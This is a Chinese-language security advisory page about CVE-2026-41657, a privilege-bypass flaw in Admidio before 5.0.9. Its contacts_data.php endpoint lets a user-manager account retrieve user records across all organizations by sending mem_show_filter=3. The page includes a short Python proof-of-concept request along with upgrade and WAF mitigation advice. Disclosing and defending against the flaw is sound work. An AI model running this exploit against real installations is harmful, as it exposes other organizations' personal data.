IPBUF安全漏洞报告
English
CVE-2026-41657 CVSS 4.9 中危

CVE-2026-41657 Admidio权限绕过漏洞

披露日期: 2026-05-07

漏洞信息

漏洞编号
CVE-2026-41657
漏洞类型
权限绕过
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Admidio

相关标签

权限绕过信息泄露Admidio访问控制缺陷

漏洞概述

Admidio是一款开源的用户管理解决方案。在5.0.9版本之前,其contacts_data.php端点存在权限校验逻辑缺陷。该接口仅使用了较弱的权限检查函数,而前端UI则使用了更严格的检查。这导致具有特定用户管理权限但非完整管理员权限的攻击者,能够通过直接构造特定请求,获取系统中所有组织的用户记录。该漏洞破坏了多租户环境下的组织隔离机制,造成敏感信息泄露。官方已在5.0.9版本中修复了此问题。

技术细节

该漏洞的核心在于Admidio后端不同接口间权限校验的不一致性。前端页面contacts.php正确调用了isAdministrator()函数,要求用户必须拥有rol_administrator=true权限以及contacts_show_all系统设置权限。然而,后端数据接口contacts_data.php仅调用了isAdministratorUsers()函数,这仅要求用户具备rol_edit_user=true权限。这种差异使得拥有“用户管理”角色但非“超级管理员”的恶意用户,能够绕过前端界面的限制。攻击者只需向contacts_data.php发送一个包含mem_show_filter=3参数的HTTP GET或POST请求,即可触发数据库查询,从而检索并导出整个Admidio实例中跨所有组织的用户数据。这属于典型的越权访问漏洞(IDOR/Broken Access Control),利用了服务器端对敏感数据接口的访问控制缺失。

攻击链分析

STEP 1
1
攻击者获取一个具有用户管理权限(rol_edit_user=true)但非超级管理员的账户凭据。
STEP 2
2
攻击者识别出后端接口contacts_data.php未实施与前端相同的高级权限检查。
STEP 3
3
攻击者向contacts_data.php发送带有参数mem_show_filter=3的恶意HTTP请求。
STEP 4
4
服务器仅验证低级权限,即返回系统中所有组织的用户数据列表。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (adjust based on installation path) target_url = "http://target-admidio-site/admidio/adm_program/modules/contacts/contacts_data.php" # Attacker's session cookie (User with rol_edit_user=true, not necessarily full admin) cookies = { "PHPSESSID": "valid_session_id_of_user_manager" } # Exploit parameter: mem_show_filter=3 retrieves all users across all organizations params = { "mem_show_filter": "3" } try: response = requests.get(target_url, params=params, cookies=cookies, timeout=10) if response.status_code == 200: print("Exploit successful! Sensitive data retrieved:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

Admidio < 5.0.9

防御指南

临时缓解措施
建议立即将Admidio组件升级至5.0.9或更高版本以彻底修复漏洞。若暂时无法升级,可通过配置Web应用防火墙(WAF)规则,拦截对contacts_data.php接口且包含mem_show_filter=3参数的非管理员IP请求,或在服务器端临时限制该文件的访问权限,仅允许IP白名单访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表